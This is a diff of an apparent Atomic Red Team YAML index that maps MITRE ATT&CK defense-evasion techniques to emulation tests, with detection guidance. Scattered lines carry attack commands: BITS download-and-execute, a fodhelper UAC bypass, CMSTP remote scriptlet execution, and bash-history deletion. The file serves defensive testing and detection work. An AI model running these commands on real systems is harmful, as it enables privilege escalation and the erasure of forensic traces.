of malware targeting session cookies + to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto + Cookies January 2019) " + id: attack-pattern--c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5 + modified: '2019-10-17T13:21:27.306Z' + x_mitre_platforms: + - Office 365 + - SaaS object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Monitor for anomalous access of websites and cloud-based + applications by the same user in different locations or by different systems + that do not match expected configurations. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_contributors: - - Ricardo Dias - - Red Canary + - Johann Rehberger + created: '2019-10-08T20:08:56.205Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: lateral-movement + external_references: + - external_id: T1506 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1506 + - source_name: Pass The Cookie + description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass + the Cookie. Retrieved April 5, 2019. + url: https://wunderwuzzi23.github.io/blog/passthecookie.html + - description: Chen, Y., Hu, W., Xu, Z., et. al.. (2019, January 31). Mac Malware + Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. + source_name: Unit 42 Mac Crypto Cookies January 2019 + url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ + x_mitre_defense_bypassed: + - Logon Credentials + - Multi-Factor Authentication + atomic_tests: [] + T1197: + technique: x_mitre_data_sources: - API monitoring - Packet capture - Windows event logs - modified: '2018-12-13T20:07:42.839Z' + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM + name: BITS Jobs + description: |- + Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. + + The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin) + + Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016) + + BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016) + id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7 + modified: '2019-07-16T20:02:53.027Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern x_mitre_detection: |- BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS) @@ -4725,33 +4909,53 @@ defense-evasion: Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS) created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_contributors: + - Ricardo Dias + - Red Canary + created: '2018-04-18T17:59:24.739Z' kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1197 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1197 + - source_name: Microsoft COM + description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November + 22, 2017. + url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx + - source_name: Microsoft BITS + description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved + January 12, 2018. + url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx + - source_name: Microsoft BITSAdmin + description: Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018. + url: https://msdn.microsoft.com/library/aa362813.aspx + - source_name: CTU BITS Malware June 2016 + description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers + with BITS. Retrieved January 12, 2018. + url: https://www.secureworks.com/blog/malware-lingers-with-bits + - source_name: Mondok Windows PiggyBack BITS May 2007 + description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background + Intelligent Transfer Service. Retrieved January 12, 2018. + url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/ + - source_name: Symantec BITS May 2007 + description: Florio, E. (2007, May 9). Malware Update with Windows Update. + Retrieved January 12, 2018. + url: https://www.symantec.com/connect/blogs/malware-update-windows-update + - source_name: PaloAlto UBoatRAT Nov 2017 + description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. + Retrieved January 12, 2018. + url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/ + - source_name: Microsoft Issues with BITS July 2011 + description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January + 12, 2018. + url: https://technet.microsoft.com/library/dd939934.aspx x_mitre_defense_bypassed: - Firewall - Host forensic analysis - id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7 - name: BITS Jobs - created: '2018-04-18T17:59:24.739Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. - - The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin) - - Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016) - - BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016) - x_mitre_permissions_required: - - User - - Administrator - - SYSTEM identifier: T1197 atomic_tests: - name: Download & Execute @@ -4833,20 +5037,25 @@ defense-evasion: bitsadmin.exe /resume #{bits_job_name} T1009: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1009 - source_name: mitre-attack - external_id: T1009 - - external_id: CAPEC-572 - source_name: capec - url: https://capec.mitre.org/data/definitions/572.html - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - Binary file metadata - File monitoring - Malware reverse engineering - modified: '2019-01-31T19:18:29.228Z' + name: Binary Padding + description: | + Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. + + Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) + id: attack-pattern--519630c5-f03f-4882-825c-3af924935817 + modified: '2019-05-30T21:09:26.228Z' + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern x_mitre_detection: "Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may @@ -4854,22 +5063,30 @@ defense-evasion: such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file." created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - id: attack-pattern--519630c5-f03f-4882-825c-3af924935817 - name: Binary Padding + x_mitre_contributors: + - Martin Jirkal, ESET created: '2017-05-31T21:30:22.096Z' - x_mitre_version: '1.0' - type: attack-pattern - description: Some security tools inspect files with static signatures to determine - if they are known malicious. Adversaries may add data to files to increase - the size beyond what security tools are capable of handling or to change the - file hash to avoid hash-based blacklists. + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1009 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1009 + - source_name: capec + external_id: CAPEC-572 + url: https://capec.mitre.org/data/definitions/572.html + - description: Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using + old tricks. Retrieved May 22, 2018. + source_name: ESET OceanLotus + url: https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/ + - description: Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass + Detection in the Age of Big Data. Retrieved May 30, 2019. + source_name: Securelist Malware Tricks April 2017 + url: https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/ + - description: VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019. + source_name: VirusTotal FAQ + url: 'https://www.virustotal.com/en/faq/ ' x_mitre_defense_bypassed: - Signature-based detection - Anti-virus @@ -4895,99 +5112,99 @@ defense-evasion: ' T1088: technique: + x_mitre_data_sources: + - System calls + - Process monitoring + - Authentication logs + - Process command-line parameters + x_mitre_permissions_required: + - User + - Administrator + name: Bypass User Account Control + description: |- + Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works) + + If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected. + + Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as: + + * eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit) + + Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass) + id: attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be + modified: '2019-07-16T20:28:55.134Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes. + + Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example: + + * The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass) + * The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe and [HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass) + + Analysts should monitor these Registry settings for unauthorized changes. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Stefan Kanthak + - Casey Smith + created: '2017-05-31T21:31:07.462Z' + x_mitre_effective_permissions: + - Administrator + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: privilege-escalation external_references: - - url: https://attack.mitre.org/techniques/T1088 + - external_id: T1088 source_name: mitre-attack - external_id: T1088 - - url: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html - source_name: Davidson Windows - description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November - 12, 2014. - - url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works - source_name: TechNet How UAC Works + url: https://attack.mitre.org/techniques/T1088 + - source_name: TechNet How UAC Works description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016. - - url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass - source_name: SANS UAC Bypass - description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June - 3, 2016. - - url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx - source_name: TechNet Inside UAC + url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works + - source_name: TechNet Inside UAC description: 'Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.' - - url: https://msdn.microsoft.com/en-us/library/ms679687.aspx - source_name: MSDN COM Elevation + url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx + - source_name: MSDN COM Elevation description: Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016. - - url: https://github.com/hfiref0x/UACME - source_name: Github UACMe + url: https://msdn.microsoft.com/en-us/library/ms679687.aspx + - source_name: Davidson Windows + description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November + 12, 2014. + url: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html + - source_name: Github UACMe description: UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016. - - url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ - source_name: enigma0x3 Fileless UAC Bypass + url: https://github.com/hfiref0x/UACME + - source_name: enigma0x3 Fileless UAC Bypass description: Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016. - - url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware - source_name: Fortinet Fareit + url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ + - source_name: Fortinet Fareit description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016. - - url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ - source_name: enigma0x3 sdclt app paths + url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware + - source_name: SANS UAC Bypass + description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June + 3, 2016. + url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass + - source_name: enigma0x3 sdclt app paths description: Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017. - - url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ - source_name: enigma0x3 sdclt bypass + url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ + - source_name: enigma0x3 sdclt bypass description: Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Stefan Kanthak - - Casey Smith - x_mitre_data_sources: - - System calls - - Process monitoring - - Authentication logs - - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes. - - Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example: - - * The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass) - * The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe and [HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass) - - Analysts should monitor these Registry settings for unauthorized changes. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack + url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ x_mitre_defense_bypassed: - Windows User Account Control - id: attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be - name: Bypass User Account Control - created: '2017-05-31T21:31:07.462Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works) - - If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected. - - Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as: - - * eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit) - - Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass) - x_mitre_effective_permissions: - - Administrator - x_mitre_permissions_required: - - User - - Administrator identifier: T1088 atomic_tests: - name: Bypass UAC using Event Viewer @@ -5066,45 +5283,29 @@ defense-evasion: Start-Process "C:\Windows\System32\fodhelper.exe" T1191: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1191 - source_name: mitre-attack - external_id: T1191 - - url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10) - source_name: Microsoft Connection Manager Oct 2009 - description: Microsoft. (2009, October 8). How Connection Manager Works. Retrieved - April 11, 2018. - - url: https://twitter.com/ItsReallyNick/status/958789644165894146 - source_name: Twitter CMSTP Usage Jan 2018 - description: Carr, N. (2018, January 31). Here is some early bad cmstp.exe... - Retrieved April 11, 2018. - - url: https://msitpros.com/?p=3960 - source_name: MSitPros CMSTP Aug 2017 - description: Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April - 11, 2018. - - url: https://twitter.com/NickTyrer/status/958450014111633408 - source_name: Twitter CMSTP Jan 2018 - description: Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution - applocker bypass. Retrieved April 11, 2018. - - url: https://github.com/api0cradle/UltimateAppLockerByPassList - source_name: GitHub Ultimate AppLocker Bypass List - description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved - April 10, 2018. - - url: http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/ - source_name: Endurant CMSTP July 2018 - description: Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code - Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank - - Nik Seetharaman, Palantir x_mitre_data_sources: - Process monitoring - Process command-line parameters - Process use of network - Windows event logs - modified: '2018-10-31T13:45:13.024Z' + x_mitre_permissions_required: + - User + name: CMSTP + description: |- + The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. + + Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application. + + CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) + x_mitre_remote_support: false + id: attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3 + modified: '2019-06-13T18:55:24.133Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern x_mitre_detection: |- Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. @@ -5113,30 +5314,46 @@ defense-evasion: * To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external. * To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F). created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_contributors: + - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank + - Nik Seetharaman, Palantir + created: '2018-04-18T17:59:24.739Z' kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1191 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1191 + - source_name: Microsoft Connection Manager Oct 2009 + description: Microsoft. (2009, October 8). How Connection Manager Works. Retrieved + April 11, 2018. + url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10) + - source_name: Twitter CMSTP Usage Jan 2018 + description: Carr, N. (2018, January 31). Here is some early bad cmstp.exe... + Retrieved April 11, 2018. + url: https://twitter.com/ItsReallyNick/status/958789644165894146 + - source_name: MSitPros CMSTP Aug 2017 + description: Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April + 11, 2018. + url: https://msitpros.com/?p=3960 + - source_name: Twitter CMSTP Jan 2018 + description: Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution + applocker bypass. Retrieved April 11, 2018. + url: https://twitter.com/NickTyrer/status/958450014111633408 + - source_name: GitHub Ultimate AppLocker Bypass List + description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved + April 10, 2018. + url: https://github.com/api0cradle/UltimateAppLockerByPassList + - source_name: Endurant CMSTP July 2018 + description: Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code + Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018. + url: http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/ x_mitre_defense_bypassed: - Application whitelisting - Anti-virus - id: attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3 - name: CMSTP - created: '2018-04-18T17:59:24.739Z' - x_mitre_version: '1.0' - x_mitre_remote_support: false - type: attack-pattern - description: |- - The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. - - Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application. - - CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) - x_mitre_permissions_required: - - User identifier: T1191 atomic_tests: - name: CMSTP Executing Remote Scriptlet @@ -5177,36 +5394,12 @@ defense-evasion: ' T1146: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1146 - source_name: mitre-attack - external_id: T1146 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_defense_bypassed: - - Log analysis - - Host forensic analysis x_mitre_data_sources: - Authentication logs - File monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: User authentication, especially via remote terminal services - like SSH, without new entries in that user's ~/.bash_history - is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE - environment variables or the removal/clearing of the ~/.bash_history - file are indicators of suspicious activity. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - id: attack-pattern--d3046a90-580c-4004-8208-66915bc29830 + x_mitre_permissions_required: + - User name: Clear Command History - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history @@ -5220,24 +5413,48 @@ defense-evasion: use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history. - x_mitre_permissions_required: - - User - identifier: T1146 - atomic_tests: - - name: Clear Bash history (rm) - description: 'Clears bash history via rm - -' - supported_platforms: - - linux - - macos - executor: - name: sh - command: 'rm ~/.bash_history - -' - - name: Clear Bash history (echo) - description: 'Clears bash history via rm + id: attack-pattern--d3046a90-580c-4004-8208-66915bc29830 + x_mitre_platforms: + - Linux + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: User authentication, especially via 